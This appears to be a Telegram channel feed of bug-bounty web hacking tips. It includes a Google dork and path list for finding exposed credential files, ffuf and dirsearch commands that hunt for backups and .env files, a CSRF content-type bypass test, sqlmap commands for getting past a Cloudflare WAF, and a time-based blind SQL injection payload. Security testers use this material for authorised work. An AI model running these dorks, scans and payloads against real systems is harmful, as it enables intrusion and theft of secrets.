ExploitQuest
6.83K subscribers
37 photos
9 videos
2 files
41 links
Download Telegram
FileFetcher is a Python tool that extracts and filters URLs from archived Wayback Machine data based on file types like .pdf, .zip, .sql, and more. It checks the availability of each URL, saving valid ones with a 200 OK response to a text file, ideal for research or web scraping.



https://github.com/shivangmauryaa/FileFetcher.git
๐Ÿ‘5๐Ÿ”ฅ1
Top 25 JavaScript path files used to store sensitive information in Web Application

01. /js/config.js
02. /js/credentials.js
03. /js/secrets.js
04. /js/keys.js
05. /js/password.js
06. /js/api_keys.js
07. /js/auth_tokens.js
08. /js/access_tokens.js
09. /js/sessions.js
10. /js/authorization.js
11. /js/encryption.js
12. /js/certificates.js
13. /js/ssl_keys.js
14. /js/passphrases.js
15. /js/policies.js
16. /js/permissions.js
17. /js/privileges.js
18. /js/hashes.js
19. /js/salts.js
20. /js/nonces.js
21. /js/signatures.js
22. /js/digests.js
23. /js/tokens.js
24. /js/cookies.js
25. /js/topsecr3tdonotlook.js
๐Ÿ‘2โค1๐Ÿ”ฅ1
ExploitQuest
Top 25 JavaScript path files used to store sensitive information in Web Application 01. /js/config.js 02. /js/credentials.js 03. /js/secrets.js 04. /js/keys.js 05. /js/password.js 06. /js/api_keys.js 07. /js/auth_tokens.js 08. /js/access_tokens.js 09. /js/sessions.jsโ€ฆ
Dork :


intitle:"index of" inurl:"/js/" ("config.js" | "credentials.js" | "secrets.js" | "keys.js" | "password.js" | "api_keys.js" | "auth_tokens.js" | "access_tokens.js" | "sessions.js" | "authorization.js" | "encryption.js" | "certificates.js" | "ssl_keys.js" | "passphrases.js" | "policies.js" | "permissions.js" | "privileges.js" | "hashes.js" | "salts.js" | "nonces.js" | "signatures.js" | "digests.js" | "tokens.js" | "cookies.js" | "topsecr3tdonotlook.js")
โค4๐Ÿ‘1
This media is not supported in your browser
VIEW IN TELEGRAM
- Are you ready, kids?
- Yes, !
- I can't hear you!
- Yes sir, !

- Whooo... who is burning out in front of the screen?
- BUG-HUNTER!
- A top hacker in hookah smoke?
- BUG-HUNTER!
- Who breaks the scope always and everywhere?
- BUG-HUNTER!
- Do you like to party in trendy merch?
- BUG-HUNTER!
- Skilled and dexterous, not a fan of discussions?
- BUG-HUNTER!
- Looking for crits without any illusions?
- BUG-HUNTER!
- Who writes a full report to the vendor?
- BUG-HUNTER!
- Sparing no effort during the nights of the narpolet?
- BUG-HUNTER!
- Who wants the maximum bounty payouts?
- BUG-HUNTER!
- All thanks to your brilliant ingenuity?
- BUG-HUN-TER! BUG-HUN-TER! BUG-HUN-TER! BUG-HUN-TEEEER!
๐Ÿ˜8๐Ÿ‘3๐Ÿซก3
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .json,.xml,.bak,.sql,.zip,.log,.config,.env -c -t 50 -recursion -recursion-depth 2 -s -mc 200,301,302 -o results.json
โค9
This media is not supported in your browser
VIEW IN TELEGRAM
Ddos ๐Ÿ˜
๐Ÿ˜9๐Ÿ”ฅ3โค1
What does the command do?


Searches for hidden or useful files or paths within the list of links. It is used in security testing to detect sensitive or exposed files on the server.


dirsearch -l urls.txt -e
conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx
~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,con
f,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,ol
d,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,t
ar.bz2,tar.gz,txt,wadl,zip,log,xml,js,json --deep-
recursive --force-recursive --exclude-sizes=0B --
random-agent --full-url -o output.txt
๐Ÿ‘5๐Ÿ”ฅ4โค1
๐Ÿ‘4๐Ÿ‘1
This media is not supported in your browser
VIEW IN TELEGRAM
no route to host ๐Ÿ˜ )
๐Ÿ˜7โค1๐Ÿ”ฅ1
This media is not supported in your browser
VIEW IN TELEGRAM
โค1
This media is not supported in your browser
VIEW IN TELEGRAM
Bruteforce directories and files :
a simple example of using gobuster , but you can also work with ffuf , feroxbuster and other tools

โ€ข dir : directory scanning mode
โ€ข -u : target URL
โ€ข -w : path to dictionary

Other useful parameters:
โ€ข -x : file extensions ( .php , .html )
โ€ข -t : number of threads
โ€ข -c : cookie
๐Ÿ”ฅ10
โค1
ExploitQuest
Photo
A simple CSRF bypass to check if your target is sending JSON data without an anti-CSRF token



Change the content type from application/json to text/plain and see if it still accepts the request


Steps to Check for CSRF Bypass
Identify the Target Request:

Find the endpoint that accepts JSON data and requires CSRF protection.
Capture the Request:

Use tools like Burp Suite, Postman, or browser developer tools to capture the original request.

Original Request (expected by the server):


POST /api/profile HTTP/2
Host: app.example.com
Cookie: sess=eyJ...  # Session Cookie
Content-Type: application/json

{
  "email": "test@example.com"
}



Modified Request (for testing CSRF bypass):

POST /api/profile HTTP/2
Host: app.example.com
Cookie: sess=eyJ...  # Session Cookie
Content-Type: text/plain

{
  "email": "test@example.com"
}



Expected Results:
If the server accepts the request:

The endpoint may not validate the Content-Type.
This can allow a malicious actor to exploit the endpoint using CSRF.
If the server rejects the request:

It validates the Content-Type, which is a good security practice.
This reduces the risk of CSRF exploitation
โค7๐Ÿ‘2
If you have a JSON query that you "control", you can test blind SQL injection as in the picture above. And then:

sqlmap -u ' target.com ' --data '{"User":"abcdefg","Pwd":"Abc@123"}' --random-agent --ignore-code=403 --dbs --hex
๐Ÿ‘7
One line to find all subdomains of a target site and list the favicon hashes.
The latter can be used in conjunction with Shodan to find all web applications using the same favicon.


subfinder -d canva.com | httpx -favicon -j | jq -r .favicon | grep -v null | sort-u
๐Ÿ”ฅ3
Bypass waf for SQL injection :)
cloudflare

command :

sqlmap -u "target.com" --dbs --batch --time-sec 10 --level 3 --hex --random-agent --tamper=space2comment,betweeny

time-based blind:


+AND+(SELECT+5140+FROM+(SELECT(SLEEP(10)))lfTO)
๐Ÿ”ฅ7๐Ÿ‘4โค2